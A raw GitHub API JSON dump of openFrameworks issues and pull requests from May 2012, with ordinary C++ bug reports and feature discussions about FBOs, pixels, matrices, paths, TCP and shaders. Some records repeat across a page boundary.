\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on 